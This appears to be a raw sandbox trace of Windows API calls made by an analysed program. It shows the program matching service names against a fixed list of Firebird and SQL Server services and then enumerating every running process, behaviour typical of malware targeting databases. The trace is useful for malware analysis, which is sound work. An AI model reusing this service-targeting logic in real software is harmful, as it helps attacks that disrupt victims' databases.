[0107.737] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0107.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0107.737] lstrlenW (lpString="RpcSs") returned 5 [0107.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0107.738] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0107.738] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0107.738] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0107.738] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0107.738] lstrlenW (lpString="SamSs") returned 5 [0107.738] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0107.738] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0107.738] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0107.738] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0107.738] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0107.738] lstrlenW (lpString="Schedule") returned 8 [0107.738] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0107.738] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0107.738] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0107.738] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0107.738] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0107.738] lstrlenW (lpString="SecurityHealthService") returned 21 [0107.738] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0107.738] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0107.738] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0107.738] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0107.738] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0107.738] lstrlenW (lpString="SENS") returned 4 [0107.738] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0107.738] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0107.739] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0107.739] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0107.739] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0107.739] lstrlenW (lpString="ShellHWDetection") returned 16 [0107.739] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0107.739] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0107.739] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0107.739] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0107.739] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0107.739] lstrlenW (lpString="Spooler") returned 7 [0107.739] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0107.739] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0107.739] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0107.739] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0107.739] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0107.739] lstrlenW (lpString="sppsvc") returned 6 [0107.739] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0107.739] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0107.739] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0107.739] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0107.739] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0107.739] lstrlenW (lpString="SSDPSRV") returned 7 [0107.739] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0107.739] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0107.739] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0107.740] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0107.740] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0107.740] lstrlenW (lpString="StateRepository") returned 15 [0107.740] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0107.740] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0107.740] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0107.740] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0107.740] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0107.740] lstrlenW (lpString="SysMain") returned 7 [0107.740] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0107.740] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0107.740] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0107.740] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0107.740] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x368a0f0 | out: hHeap=0x440000) returned 1 [0107.740] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x388 [0107.949] Process32FirstW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0107.950] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0107.951] lstrlenW (lpString="System") returned 6 [0107.951] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0107.954] lstrlenW (lpString="smss.exe") returned 8 [0107.954] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0107.955] lstrlenW (lpString="csrss.exe") returned 9 [0107.955] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0107.956] lstrlenW (lpString="wininit.exe") returned 11 [0107.956] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0107.957] lstrlenW (lpString="csrss.exe") returned 9 [0107.957] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0107.957] lstrlenW (lpString="winlogon.exe") returned 12 [0107.957] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0107.959] lstrlenW (lpString="services.exe") returned 12 [0107.959] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0107.959] lstrlenW (lpString="lsass.exe") returned 9 [0107.959] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.960] lstrlenW (lpString="svchost.exe") returned 11 [0107.961] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0107.961] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0107.961] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0107.962] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0107.962] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.963] lstrlenW (lpString="svchost.exe") returned 11 [0107.963] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0107.964] lstrlenW (lpString="dwm.exe") returned 7 [0107.964] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x56, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.965] lstrlenW (lpString="svchost.exe") returned 11 [0107.965] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.966] lstrlenW (lpString="svchost.exe") returned 11 [0107.966] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.966] lstrlenW (lpString="svchost.exe") returned 11 [0107.966] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.967] lstrlenW (lpString="svchost.exe") returned 11 [0107.967] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.968] lstrlenW (lpString="svchost.exe") returned 11 [0107.968] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.969] lstrlenW (lpString="svchost.exe") returned 11 [0107.969] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.970] lstrlenW (lpString="svchost.exe") returned 11 [0107.970] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.970] lstrlenW (lpString="svchost.exe") returned 11 [0107.971] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.972] lstrlenW (lpString="svchost.exe") returned 11 [0107.972] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0107.973] lstrlenW (lpString="spoolsv.exe") returned 11 [0107.973] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.974] lstrlenW (lpString="svchost.exe") returned 11 [0107.974] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.974] lstrlenW (lpString="svchost.exe") returned 11 [0107.974] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0107.975] lstrlenW (lpString="audiodg.exe") returned 11 [0107.975] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0107.976] lstrlenW (lpString="sihost.exe") returned 10 [0107.976] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.977] lstrlenW (lpString="svchost.exe") returned 11 [0107.977] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0107.977] lstrlenW (lpString="taskhostw.exe") returned 13 [0107.977] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0107.978] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0107.978] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0107.979] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0107.979] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x40, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0107.979] lstrlenW (lpString="explorer.exe") returned 12 [0107.979] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0107.980] lstrlenW (lpString="Memory Compression") returned 18 [0107.980] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0107.981] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0107.981] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0107.982] lstrlenW (lpString="SearchUI.exe") returned 12 [0107.982] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0107.982] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0107.982] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0107.983] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0107.983] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0107.984] lstrlenW (lpString="taskhostw.exe") returned 13 [0107.984] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0107.984] lstrlenW (lpString="UsoClient.exe") returned 13 [0107.984] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0107.985] lstrlenW (lpString="msoia.exe") returned 9 [0107.985] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0107.986] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0107.986] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0107.986] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0107.987] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0108.452] lstrlenW (lpString="msoia.exe") returned 9 [0108.452] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0108.453] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0108.453] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering.exe")) returned 1 [0108.453] lstrlenW (lpString="entering.exe") returned 12 [0108.453] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="measurement nut d.exe")) returned 1 [0108.454] lstrlenW (lpString="measurement nut d.exe") returned 21 [0108.454] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="ai element.exe")) returned 1 [0108.455] lstrlenW (lpString="ai element.exe") returned 14 [0108.455] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="divorce_mode_twelve.exe")) returned 1 [0108.456] lstrlenW (lpString="divorce_mode_twelve.exe") returned 23 [0108.456] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="clicking.exe")) returned 1 [0108.457] lstrlenW (lpString="clicking.exe") returned 12 [0108.457] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pack.exe")) returned 1 [0108.457] lstrlenW (lpString="pack.exe") returned 8 [0108.457] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="try-gtk.exe")) returned 1 [0108.458] lstrlenW (lpString="try-gtk.exe") returned 11 [0108.458] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="counseling tmp.exe")) returned 1 [0108.459] lstrlenW (lpString="counseling tmp.exe") returned 18 [0108.459] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="radius_johnston_transmission.exe")) returned 1 [0108.459] lstrlenW (lpString="radius_johnston_transmission.exe") returned 32 [0108.460] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="j-portions-folders.exe")) returned 1 [0108.460] lstrlenW (lpString="j-portions-folders.exe") returned 22 [0108.460] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="samuel-clubs.exe")) returned 1 [0108.461] lstrlenW (lpString="samuel-clubs.exe") returned 16 [0108.461] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="gaps_industrial.exe")) returned 1 